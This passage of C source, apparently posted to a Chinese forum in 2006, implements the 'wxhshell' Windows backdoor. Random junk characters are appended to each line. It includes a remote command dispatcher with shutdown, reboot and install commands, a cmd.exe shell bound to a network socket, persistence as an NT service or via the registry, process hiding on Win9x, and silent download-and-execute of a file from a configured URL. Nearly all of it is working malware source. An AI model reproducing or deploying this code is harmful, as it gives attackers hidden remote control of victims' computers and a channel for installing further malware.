      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8PR\a!"  
    break; L3=5tuQ[5  
  } Qk72ra)  
  // 安装 +/ rt'0o  
  case 'i': { C),i#v  
    if(Install())  :g~_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 3zE5vr  
    else h:RP/ 0E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }i{A4f `  
    break; TJCE6QG  
    } LUdXAi"f  
  // 卸载 !_P&SmK3  
  case 'r': { ;SIWWuk  
    if(Uninstall()) eG7Yyz+t$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9l(T>B2a  
    else ?4^ 0xGyE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BP}@E$  
    break; tI)|y?q  
    } _n1[(I  
  // 显示 wxhshell 所在路径 'o~gT ;T#  
  case 'p': { (x fN=Te,-  
    char svExeFile[MAX_PATH]; ``%yVVg}  
    strcpy(svExeFile,"\n\r"); -9::M}^2  
      strcat(svExeFile,ExeFile); k%BU&%?1  
        send(wsh,svExeFile,strlen(svExeFile),0); .,20_<j%=  
    break; 2+_a<5l~  
    } ,l Y4WO  
  // 重启 Xv3pKf-K  
  case 'b': {  TJ1h[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wy%FF\D.Y  
    if(Boot(REBOOT)) 6$[7hlE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U*b7 Pxq;  
    else { Z?xRSi2~7  
    closesocket(wsh); IVY)pS"pR"  
    ExitThread(0); @{W"mc+  
    } R0%M9;>1  
    break; AmC?qoEWQ7  
    } zy5FO<->  
  // 关机 n*Uk<_WA  
  case 'd': { .G#li(NWH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hD=.rDvO  
    if(Boot(SHUTDOWN)) |c^?tR<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1je j7p>K  
    else { `nKN|6o#x  
    closesocket(wsh); ^=5x1<a9$  
    ExitThread(0);  +IO>%  
    } H8B$# .  
    break; z:4_f:70  
    } { :1X N  
  // 获取shell 'ZB^=T  
  case 's': { ()48>||  
    CmdShell(wsh); q k 6  
    closesocket(wsh); 8CZ%-}-%$  
    ExitThread(0); k/D{&(F ~  
    break; 5'c#pm\Q  
  } 4Y$\QZO  
  // 退出 5C&*PJ~WA  
  case 'x': { 4hODpIF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SiUu**zC  
    CloseIt(wsh); yOt#6Vw  
    break; +FAj30  
    } s8)`wH ?  
  // 离开 y pyKRsx  
  case 'q': { uZZRFioX|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I}m20|vv  
    closesocket(wsh); xEk8oc  
    WSACleanup(); u>n"FL 'e  
    exit(1); bMxK@$G~  
    break; |-G2pu;  
        } 4e Y?#8  
  } !nCq8~#  
  } N -]/MB 8  
W"^=RY  
  // 提示信息 5|nc^ 12  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <l $ d>,  
} 2 U]d 1  
  } r34MDUZdI  
Id##367R  
  return; P/dnH  
} " X8jpg  
 -X71JU  
// shell模块句柄 )+hV+rM jp  
int CmdShell(SOCKET sock) Yu>DgMW  
{ {*AA]z? zo  
STARTUPINFO si; 7oW Mjw\  
ZeroMemory(&si,sizeof(si)); XIbZ_G^ +D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -^lc-$0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 94?WL  
PROCESS_INFORMATION ProcessInfo; dWPQp*f2  
char cmdline[]="cmd"; `r-jWK\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i*Ldec^  
  return 0; k%sH09   
} 2h'Wu qO  
BUJ\[/  
// 自身启动模式 `}$o<CJ  
int StartFromService(void) %KXiB6<4  
{ {VL@U$'oI  
typedef struct pX ^^0  
{ QCF'/G  
  DWORD ExitStatus; ^w.hI5ua)  
  DWORD PebBaseAddress; &J*M  
  DWORD AffinityMask; 1XMR7liE  
  DWORD BasePriority; 1J4Pnl+hN  
  ULONG UniqueProcessId; -(8I?{"4i  
  ULONG InheritedFromUniqueProcessId; $KO2+^%y  
}   PROCESS_BASIC_INFORMATION; sfj+-se(K.  
DzQBWY] )  
PROCNTQSIP NtQueryInformationProcess; /N"3kK,N  
UnF8#~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "(^XZAU#W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hd(FOKOP  
`x#Ud)g  
  HANDLE             hProcess; @)?]u U"L  
  PROCESS_BASIC_INFORMATION pbi; ? T6K]~g  
OegeZV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~0a5  
  if(NULL == hInst ) return 0; C/Khp +  
)ODF6Ag  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]~KLdgru_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _XV%}Xb'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GWnIy6TH l  
zKO7`.*  
  if (!NtQueryInformationProcess) return 0; "y,YC M`  
Xq*^6*E-}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o@Oz a  
  if(!hProcess) return 0; o)AwM"  
s|]g@cz an  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DAB9-[y+  
[|DKBJ  
  CloseHandle(hProcess); 8AuBs;i  
] 3"t]U'f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c+9L6}D  
if(hProcess==NULL) return 0; 2 }r=DAe0  
ff\~`n~WZ  
HMODULE hMod; hm`=wceK  
char procName[255]; `}}:9d  
unsigned long cbNeeded; :"\,iH  
\^c4v\s<o#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4Z( #;9f  
^dHQ<L3.*  
  CloseHandle(hProcess); N1c=cZDV  
i2~uhGJ  
if(strstr(procName,"services")) return 1; // 以服务启动 f"QiVJq  
(+> 2&@@<  
  return 0; // 注册表启动 [1VA`:?W  
} QPJ \Iu@D$  
elOeXYO0  
// 主模块 G%<}TI1}  
int StartWxhshell(LPSTR lpCmdLine) Nr~$i%[  
{ N{;!xI v  
  SOCKET wsl; J:L+q} A  
BOOL val=TRUE; MzJCiX^  
  int port=0; AK2Gm-hHK  
  struct sockaddr_in door; 6pt_cpbR  
L*(9Hti  
  if(wscfg.ws_autoins) Install(); p,Ff, FfH  
l_vGp  
port=atoi(lpCmdLine); z8Q!~NN-K  
*qd:f!Q3  
if(port<=0) port=wscfg.ws_port; I&;>(@K  
EKwQ$?I  
  WSADATA data; +I3jI <  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a1U|eLmUb  
.+9hm|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H_DCdUgC'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  +$dJA  
  door.sin_family = AF_INET; z%;p lMj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iC gZ3M]  
  door.sin_port = htons(port); ?"6Zf LRi  
,N.8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wVs?E  
closesocket(wsl); -@W9+Zf5  
return 1; ,fkvvM{mq  
} Td=4V,BN  
^\\3bW9}H  
  if(listen(wsl,2) == INVALID_SOCKET) { (#Y~z',I  
closesocket(wsl); Da=EAG-{7  
return 1; Mt[yY|Ec|  
} QU"WpkO  
  Wxhshell(wsl); -+#%]P8l  
  WSACleanup(); f%Q{}fC{*  
x84!/n^z  
return 0; -aoYoJ '  
4T@:_G2b  
} _gvFs %J  
;[v!#+yml  
// 以NT服务方式启动 R'Sd'pSDN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h)KHc/S  
{ /WrB>w  
DWORD   status = 0; TlqHj  
  DWORD   specificError = 0xfffffff; f-ltV<C_  
*c0H_8e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @T'^V0!-q:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t un}rdb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ot=jwvw  
  serviceStatus.dwWin32ExitCode     = 0; #@XBHJD\#  
  serviceStatus.dwServiceSpecificExitCode = 0; dGIdSQ~ _  
  serviceStatus.dwCheckPoint       = 0; Rn1oD3w  
  serviceStatus.dwWaitHint       = 0; OxlA)$.hpu  
'%N?r,x C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b+rxin".  
  if (hServiceStatusHandle==0) return; ,T/Gv;wa2  
D -}>28  
status = GetLastError(); ~f/|bcep  
  if (status!=NO_ERROR) <Vat@e  
{ Wh[QR-7Ew  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `zd,^.i5~  
    serviceStatus.dwCheckPoint       = 0; vCzZjGBY  
    serviceStatus.dwWaitHint       = 0; *FS8]!Qg  
    serviceStatus.dwWin32ExitCode     = status; `KJ( .m  
    serviceStatus.dwServiceSpecificExitCode = specificError; SQp|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( xs'D4  
    return; pGbfdX  
  } i! .]U@{k  
;Rrh$Ag  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P}bIp+  
  serviceStatus.dwCheckPoint       = 0; LCF}Y{  
  serviceStatus.dwWaitHint       = 0; Dd3f@b[WX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -;""l{  
} =o@;K~-  
48^-]};  
// 处理NT服务事件,比如:启动、停止 q t"D!S_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l=@ B 'a  
{ <_EKCk  
switch(fdwControl) peQwH  
{ ~# -?V[  
case SERVICE_CONTROL_STOP: a)_3r]sv^  
  serviceStatus.dwWin32ExitCode = 0; L*@`i ]jl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3Cf9'C  
  serviceStatus.dwCheckPoint   = 0; t^s&1#iC  
  serviceStatus.dwWaitHint     = 0; &i#$ia r  
  { -IPo/?}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <r%K i`u(p  
  } T(J'p4  
  return; LGP"S5V  
case SERVICE_CONTROL_PAUSE: r $7.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &D, Iwq  
  break; AIF ?>wgq  
case SERVICE_CONTROL_CONTINUE: { 3G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v 6~9)\!j  
  break; 222 Y?3>@D  
case SERVICE_CONTROL_INTERROGATE: : 4ryi&Y  
  break; }:Z.g  
}; M'*s5:i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  |/Nh#  
} 18&"j 8'm  
eYOY   
// 标准应用程序主函数 z.vQ1~s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C@(@n!o:!  
{ _`$Q6!Z)l  
?&B8:<qy;L  
// 获取操作系统版本 6'qkD<  
OsIsNt=GetOsVer(); ;pnF%co9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j=WxtMS  
coP->&(@U#  
  // 从命令行安装 +m=b "g  
  if(strpbrk(lpCmdLine,"iI")) Install(); %(CC  
f56yI]*N=<  
  // 下载执行文件 $?= $F  
if(wscfg.ws_downexe) { ^q7V%{54  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p`tz*ewC  
  WinExec(wscfg.ws_filenam,SW_HIDE); %~rEJB@{  
} *x36;6~W;  
^y<^hKjV  
if(!OsIsNt) { E`HoJhB  
// 如果时win9x,隐藏进程并且设置为注册表启动 -hd  
HideProc(); c&['T+X  
StartWxhshell(lpCmdLine); c_/BS n  
} 5Rbl.5. A  
else FP@_V-  
  if(StartFromService()) N$fP\h^AR  
  // 以服务方式启动 'gwh:  
  StartServiceCtrlDispatcher(DispatchTable); T:^.; ZY  
else ^<;W+dWdU  
  // 普通方式启动 =RoE=) 1&-  
  StartWxhshell(lpCmdLine); '+Dsmoy  
-[mmT'sS  
return 0; +a,SP   
}
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只看该作者 1 发表于: 2006-10-10
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